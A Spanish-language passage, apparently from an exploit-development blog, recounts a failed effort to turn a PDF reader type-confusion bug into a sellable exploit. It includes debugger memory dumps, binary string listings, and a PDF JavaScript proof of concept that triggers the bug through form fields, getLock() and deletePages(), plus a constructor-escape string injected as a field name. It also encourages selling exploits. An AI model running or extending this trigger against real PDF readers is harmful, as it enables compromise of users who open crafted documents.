0:000> db ecx - 4 0f55f9ec 78 31 32 78 33 34 78 35-36 78 37 38 78 39 41 78 x12x34x56x78x9Ax 0f55f9fc 42 43 78 44 45 78 46 30-78 31 32 48 00 00 00 00 BCxDExF0x12H.... 0f55fa0c 00 00 00 00 06 00 01 0f-40 da 3a 0e 00 00 00 00 ........@.:..... 0f55fa1c 00 00 00 00 00 00 00 00-e0 49 55 0f 10 00 00 00 .........IU..... 0f55fa2c 02 00 00 00 6c bb 54 0f-48 bb 54 0f 0a 00 00 00 ....l.T.H.T..... 0f55fa3c 00 00 00 00 01 00 00 00-10 00 00 00 10 00 00 00 ................ 0f55fa4c 54 00 69 00 6d 00 65 00-73 00 20 00 42 00 6f 00 T.i.m.e.s. .B.o. 0f55fa5c 6c 00 64 00 49 00 74 00-61 00 6c 00 69 00 63 00 l.d.I.t.a.l.i.c.

......... conversación omitida por brevedad y salud mental

hasta que en un momento llegamos al "poc final" en el que nos quedamos atascados, que tiene este aspecto function type_conf(){ app.alert("Starting enhanced memory leak exploit");

root@kitploit:~
// Step 2: Create form fields
gFields.signature = app.activeDocs[0].addField(
  "signature_field",
  "signature",
  0,
  [10, 10, 100, 50]
);

gFields.combo = app.activeDocs[0].addField(
  "HAHAHAHAHAH",
  "combobox",
  0,
  [10, 60, 100, 100]
);

// Step 4: Get the critical Lock object
gLockObj = gFields.signature.getLock();
app.alert("Got Lock object from signature field");

app.alert("Triggering vulnerability with deletePages()");
app.activeDocs[0].deletePages();
app.alert("Vulnerability triggered");

gLockObj.__defineGetter__('fields', function () {}); 

}

Pero bueno, quería incluir parte de lo que fue nuestro proceso de trabajo, supongo, para demostrar, como ya se ha mostrado, que el desarrollo de exploits no es una ciencia exacta. Una lección muy importante para los investigadores nuevos y para los jóvenes investigadores que vienen es que tendrás que armarte de paciencia y determinación (también conocida como motivación) para ver muy a menudo un pequeño rayo de luz que la mayoría de las veces no será el final del túnel, sino solo un espejismo. Pero no temas, esto es parte del proceso. Así que la lección a aprender es que perderás mucho, y digo mucho, tiempo al hacer desarrollo de exploits. De nuevo, no temas, esto es parte del proceso de explotación. Ahora, como nos acercamos al final de este artículo e historia, déjame darte algunas lecciones más que obtuvimos durante nuestro viaje.Así que, cuando veas que tu objeto no es escribible y solo es legible, cuando veas que probaste todo lo que proporciona la documentación de la API disponible y aún así fuiste más allá para volcar lo que parece ser la API JS disponible, tales como AddcDocID .rdata:050B1EC8 00000007 C AddStr .rdata:050E8E70 00000016 C Sign_Fill_Set_PreText .rdata:050E8E88 00000012 C Sign_Fill_AddText .rdata:050E8E9C 00000017 C Sign_Fill_AddText_Comb .rdata:050E8EE0 0000000F C Sign_Fill_AddX .rdata:050E8EF0 00000011 C Sign_Fill_AddDot .rdata:050E8F04 00000011 C Sign_Fill_Group2 .rdata:050E8F18 00000012 C Sign_Fill_AddLine .rdata:050EB4FC 0000001B C ACTIONANNOT::AddTypeWriter https://helpx.adobe.com/acrobat/kb/adding-watermark-pdf.html .rdata:05114CEC 0000000B C Sound Tool .rdata:05114ED8 0000003D C This function is deprecated. It proceed in signature plugin. .rdata:05114FA8 0000001A C File_Propertions_Security .rdata:05114FC4 0000001D C File_Propertions_Description .rdata:05115000 0000001D C File_Propertions_InitialView .rdata:0511502C 00000016 C File_Propertions_Font .rdata:05115058 0000001A C File_Propertions_Advanced .rdata:051150E0 00000057 C This function is deprecated. Suggest use FROptimizerFlatDocument from Optimize plugin. .rdata:05115138 00000059 C This function is deprecated. Suggest use FRDocProcessSetReviewJS from docprocess plugin. .rdata:05115198 0000005C C This function is deprecated. Suggest use FRDocProcessRemoveReviewJS from docprocess plugin. .rdata:05115348 00000056 C This function is deprecated. Suggest use FROptimizerRunPageFlat from Optimize plugin. .rdata:051153A0 00000062 C This function is deprecated. Suggest use FRDocProcessFlattenDynamicXFADoc from docprocess plugin. .rdata:05115408 00000053 C This function is deprecated. It proceed in OCR plugin of FROCRRunPageOCRPROTO api. .rdata:05115460 0000005D C This function is deprecated. It proceed in OCR plugin of GetOCREngineLocalLanguagePROTO api. .rdata:051154C0 0000005D C This function is deprecated. It proceed in OCR plugin of GetIsExistOCREngineDllTipPROTO api. .rdata:05115520 0000005F C This function is deprecated. It proceed in OCR plugin of GetOCREngineSupportLanguagePROTO api. .rdata:05115610 0000005D C This function is deprecated. Suggest use FRDocProcessGetCreationDate from docprocess plugin. .rdata:05115670 00000066 C This function is deprecated. Suggest use FRDocProcessGetContainedCountInPages from docprocess plugin. .rdata:051156D8 00000060 C This function is deprecated. Suggest use FRDocProcessGetPrefixMatchList from docprocess plugin. .rdata:05115738 00000074 C This function is deprecated. Suggest use FROptimizerReduceFileSize and FROptimizerSetCallBack from Optimize plugin. .rdata:051157B0 0000005C C This function is deprecated. Suggest use FROptimizerShowReduceSizeDlg from Optimize plugin. .rdata:05115BC4 00000019 C CFS_GLOG_V16::LogMessage .rdata:05115BE0 00000070 C c:\phantompdfci\jenkins\workspace\taa-ph-auto-compile\starship\sinkpluginsdk_web\win\src\basic\fs_basicimpl.cpp .rdata:05116020 0000006C C This function is deprecated. Suggest use FRSIGInternalInterfaceGenerateUR3Permission from signature plugin. .rdata:05116090 0000005A C This function is deprecated. Suggest use FRPageFormatAddWatermark from pageformat plugin. .rdata:05116124 00000019 C PageFormat Extension HFT .rdata:05116140 00000063 C This function is deprecated. Suggest use FRPageFormatAddAndUpdateWatermark from pageformat plugin. .rdata:051161A8 0000005D C This function is deprecated. Suggest use FRPageFormatRemoveWatermark from pageformat plugin. .rdata:05116208 00000066 C This function is deprecated. Suggest use FRPageFormatRemoveAndUpdateWatermark from pageformat plugin. .rdata:05116270 0000005D C This function is deprecated. Suggest use FRPageFormatAddHeaderFooter from pageformat plugin. .rdata:051162D0 00000066 C This function is deprecated. Suggest use FRPageFormatAddAndUpdateHeaderFooter from pageformat plugin. .rdata:05116338 00000060 C This function is deprecated. Suggest use FRPageFormatRemoveHeaderFooter from pageformat plugin. .rdata:05116398 00000069 C This function is deprecated. Suggest use FRPageFormatRemoveAndUpdateHeaderFooter from pageformat plugin. .rdata:05116408 0000005F C This function is deprecated. Suggest use FRDocProcessIsUsedLogicalPage from docprocess plugin. .rdata:05116468 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGenerateSignInfo from signature plugin. .rdata:051164D0 00000064 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGenerateSignInfo3 from signature plugin. .rdata:05116538 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetDefaultServer from signature plugin. .rdata:051165A0 0000006B C This function is deprecated. Suggest use FRSIGInternalInterfaceAddSignature3Handler from signature plugin. .rdata:05116610 00000045 C This function is deprecated. It's not be need from signature plugin. .rdata:05116658 00000065 C This function is deprecated. Suggest use FRSIGSGBaseHandlerSetSignatureVerify from signature plugin. .rdata:051166C0 00000066 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetDocSigatureCount from signature plugin. .rdata:05116728 00000067 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetSignatureBaseInfo from signature plugin. .rdata:05116790 00000061 C This function is deprecated. Suggest use FRSIGSGBaseHandlerClearSignature from signature plugin. .rdata:051167F8 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerCreateSignatureF from signature plugin. .rdata:05116860 0000005E C This function is deprecated. Suggest use FRSIGSGBaseHandlerSetPosition from signature plugin. .rdata:051168C0 0000004F C This function is deprecated. Suggest use FRSIGRDNCreate from signature plugin. .rdata:05116910 00000050 C This function is deprecated. Suggest use FRSIGRDNDestroy from signature plugin. .rdata:05116960 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwC from signature plugin. .rdata:051169B0 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwCN from signature plugin. .rdata:05116A00 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwCN from signature plugin. .rdata:05116A50 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwE from signature plugin. .rdata:05116AA0 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwE from signature plugin. .rdata:05116AF0 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwL from signature plugin. .rdata:05116B40 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwL from signature plugin. .rdata:05116B90 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwO from signature plugin. .rdata:05116BE0 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwO from signature plugin. .rdata:05116C30 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwOU from signature plugin. .rdata:05116C80 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwOU from signature plugin. .rdata:05116CD0 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwST from signature plugin. .rdata:05116D20 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwST from signature plugin. .rdata:05116D70 00000067 C This function is deprecated. Suggest use FRSIGCERTIFICATEINFO related interface from signature plugin. .rdata:05116DD8 00000065 C This function is deprecated. Suggest use FRSIGSEEDVALUEINFO related interface from signature plugin. .rdata:05116E4C 0000003E C This function is deprecated. It proceed in signature plugin. .rdata:0511F140 00000007 C AddImm .rdata:0511F480 0000000A C RowSetAdd .rdata:052A94B8 0000000D C pixAddBorder .rdata:052A94C8 00000019 C pixAddBlackOrWhiteBorder .rdata:052A94E4 00000014 C pixAddBorderGeneral .rdata:052A9510 00000020 C pixAddMultipleBlackWhiteBorders

.rdata:052A95DC 00000015 C pixAddMirroredBorder .rdata:052A9608 00000015 C pixAddRepeatedBorder .rdata:052A9620 00000012 C pixAddMixedBorder .rdata:052A9634 00000016 C pixAddContinuedBorder .rdata:052A964C 00000019 C pixShiftAndTransferAlpha .rdata:052B3028 00000013 C pixAddAlphaToBlend !!!!!!!! .rdata:052B32EC 0000000B C boxaAddBox !!!!!!!!!!!!!!! .rdata:052B35B8 0000000D C boxaaAddBoxa .rdata:052B35E8 00000011 C boxaaExtendArray .rdata:052B35FC 00000017 C boxaaExtendArrayToSize .rdata:052B3614 00000016 C baa has too many ptrs .rdata:052B362C 0000001F C size > 1M boxa ptrs; too large .rdata:052B364C 0000000E C boxaaGetCount .rdata:052B365C 00000011 C boxaaGetBoxCount .rdata:052B3670 0000000D C boxaaGetBoxa .rdata:052B3680 0000000C C boxaaGetBox .rdata:052B368C 00000013 C boxa not retrieved .rdata:052B36F8 00000010 C boxaaInsertBoxa .rdata:052B5E88 00000012 C pixGetInputFormat .rdata:052B5E9C 00000012 C pixSetInputFormat .rdata:052B5EB0 00000013 C pixCopyInputFormat .rdata:052B5EC4 0000000E C pixSetSpecial .rdata:052B5ED4 0000000B C pixGetText .rdata:052B5EE0 0000000B C pixSetText .rdata:052B5EEC 0000000B C pixAddText .rdata:052B667C 0000000C C pixaaAddBox .rdata:052B9268 00000014 C jbAddPageComponents .rdata:052B9D90 0000000D C numaaAddNuma .rdata:052C9BC8 00000010 C sarrayAddString .rdata:052CACB4 00000009 C ptaAddPt .rdata:052CAFB8 0000000B C ptaaAddPta .rdata:0530A890 00000010 C selaAddDwaCombs .rdata:053CADD8 0000000C C squareimage .rdata:053E05C8 00000019 C GdipPrivateAddMemoryFont .rdata:053E078C 00000017 C GdipPrivateAddFontFile .rdata:053E0808 00000015 C AddFontMemResourceEx .rdata:0548401C 00000009 C TPadding .rdata:056D0DA8 0000000D C addListeners .rdata:056D0ED8 0000000C C addMenuItem .rdata:056D0EE4 0000000B C addSubMenu .rdata:056D0F48 00000009 C addIndex .rdata:056D0F60 0000000B C addContact .rdata:056D0F6C 0000000B C addRequest .rdata:056D11B0 00000010 C addEmbeddedFile .rdata:056D12DC 00000008 C addWord .rdata:056D1528 00000009 C addAnnot .rdata:056D1534 00000009 C addField .rdata:056D1540 00000008 C addLink .rdata:056D1548 00000008 C addIcon .rdata:056D1E94 0000000D C Doc.addAnnot .rdata:056D1EA4 0000000D C Doc.addField .rdata:056D1EB4 0000000C C Doc.addLink .rdata:056D1EC0 0000000C C Doc.addIcon .rdata:056D24A8 0000000F C Doc.addAdLayer .rdata:056D5F58 0000000E C addToolButton .rdata:056D6644 00000010 C app.addMenuItem .rdata:056D6668 0000000F C app.addSubMenu .rdata:056D6644 00000010 C app.addMenuItem .rdata:056D7E44 0000000F C FDF.addContact .rdata:05709CF0 0000000F C OBJ_add_object .rdata:05709D00 0000000E C OBJ_add_sigid .rdata:05902BBC 00000012 C addCustomMenuItem .rdata:05902BD0 00000014 C addCustomToolButton .rdata:05902BE4 00000010 C addEventHandler .rdata:059E64A0 0000001E C FillPageComboBox-AddTail -End .rdata:059E64C0 00000010 C View_Panel_Goto .rdata:059E64D0 00000020 C FillPageComboBox-AddTail -Start .rdata:05FE0420 00000077 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddCustomMenuItem@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:05FE0497 00000079 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddCustomToolButton@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:05FE0510 00000075 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddEventHandler@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:050896AC 00000011 C CAddDictionaries .rdata:05097DD0 00000034 C CJS_PluginMgr::LoadJSPlugin::AddToolButtons - Start .rdata:05097E04 00000032 C CJS_PluginMgr::LoadJSPlugin::AddToolButtons - End .rdata:05098308 0000001E C CJS_PluginMgr::AddToolButtons

, cuando se supone que realmente debes comenzar parte del proceso de reversa e intentar entender qué hace realmente el binario y tu pseudo-código del IDB se ve así montón de código omitido para que quepa y no hacerlo largo WhatsApp Image 2025-04-18 at 17 20 10

Y uno podría decir que es una inicialización de clase por esto. Incorrecto. No confíes en IDA porque los offsets estaban mal, e incluso si estuviera equivocado, créeme, igual tendrías que hacer referencias cruzadas del nombre de la función y entre 200 referencias cruzadas analizar otras 200 funciones para entender, y además resolver dinámicamente en windbg cada llamada a función ptr y revertir eso.

Añade el hecho de que si intentas algo como esto 09f69e70 74 72 75 63 74 6f 72 28-27 72 65 74 75 72 6e 20 tructor('return 09f69e80 74 68 69 73 27 29 28 29-00 00 00 00 00 00 00 00 this')()........ 09f69e90 06 00 01 09 30 1e 6d 0f-00 00 00 00 00 00 00 00 ....0.m......... 09f69ea0 00 00 00 00 e0 bd 6d 0f-10 00 00 00 02 00 00 00 ......m......... 09f69eb0 84 15 f6 09 60 15 f6 09-0a 00 00 00 00 00 00 00 ....`........... 09f69ec0 01 00 00 00 10 00 00 00-10 00 00 00 54 00 69 00 ............T.i. 09f69ed0 6d 00 65 00 73 00 20 00-42 00 6f 00 6c 00 64 00 m.e.s. .B.o.l.d. 09f69ee0 49 00 74 00 61 00 6c 00-69 00 63 00 00 00 00 00 I.t.a.l.i.c..... function type_conf(){ app.alert("Starting enhanced memory leak exploit");

root@kitploit:~
// Step 2: Create form fields
gFields.signature = app.activeDocs[0].addField(
  "signature_field",
  "signature",
  0,
  [10, 10, 100, 50]
);

let syntaxString = "a.constructor.constructor('return this')()";


gFields.combo = app.activeDocs[0].addField(
  syntaxString,
  "combobox",
  0,
  [10, 60, 100, 100]
);

// Step 4: Get the critical Lock object
gLockObj = gFields.signature.getLock();
app.alert("Got Lock object from signature field");

app.alert("Triggering vulnerability with deletePages()");
app.activeDocs[0].deletePages();
app.alert("Vulnerability triggered");

gLockObj.__defineGetter__('fields', function () {}); 

} y funciona, pero no puedes tener algo como esto let x = "\x41\x41\x41\x41" y que x se use en addfield como nombre de dicho objeto, espera 3:30 horas para cargar el IDB en bindiff y que el IDB no cargue y agote 16 GB de memoria. Esas son más o menos señales de que muy probablemente no podrás explotar dicho binario.

Entonces, lección aprendida: si ves la mayoría de las cosas descritas en el párrafo anterior, por tu salud mental será mejor que pases al siguiente exploit antes que perder 3 semanas adicionales solo para intentar ver si esto es explotable o no.

Ahora que hemos llegado al final de la historia, te dejaré con algunas lecciones finales aprendidas durante este intento de crear y vender un exploit:

  1. No tengas miedo de intentar vender un exploit
  2. Antes de comprometerte a intentar vender un exploit, haz realmente el exploit y luego contacta a la persona a quien intentas vendérselo
  3. Antes de decidirte por un CVE para armarlo, tómate alrededor de 1 mes para hacer investigación preliminar antes de ir a lo loco
  4. Ten en cuenta que, aunque el advisory pueda sugerir que esto podría convertirse en un exploit armado, hay muchos obstáculos que no necesariamente tienen que ver con el proceso de explotación, como: falta de información suficiente para poder revertirlo, demasiada complejidad (más de 200 funciones para entender una sola), mucho descifrado en tiempo de ejecución que debe hacerse manualmente, funciones de API no documentadas, capacidades limitadas de lectura/escritura, ausencia de código abierto; en este caso, 200k funciones para hacer diff de una versión, así que alrededor de 400k funciones para bindiff en total (la complejidad escala muy rápido, aparentemente, en la explotación del mundo real)
  5. "Saber cuándo poner el último clavo al ataúd", esto llegará con la experiencia a medida que intentes más proyectos. Pero realmente no lo estires cuando no sea necesario.
  6. Definitivamente perderás mucho tiempo, así que no seas demasiado duro contigo mismo.
  7. Cuando no puedes colocar objetos para reemplazar objetos y solo strings, y se codifican como Unicode, y aún así si consigues evadir esto, y aún no puedes colocar datos tipo hex para poder, no sé, digamos leer de alguna manera en este caso si rociaste una dirección con sharedarraybuffer porque no teníamos suficiente información para un objeto falso, simplemente pasa al siguiente exploit. Finalmente, antes de cerrar esta entrada de blog, dejaremos nuestro código como inspiración. En caso de que alguien logre convertir la confusión de tipos en un arma, por favor avísanos cómo lo hiciste :)
Descargar herramienta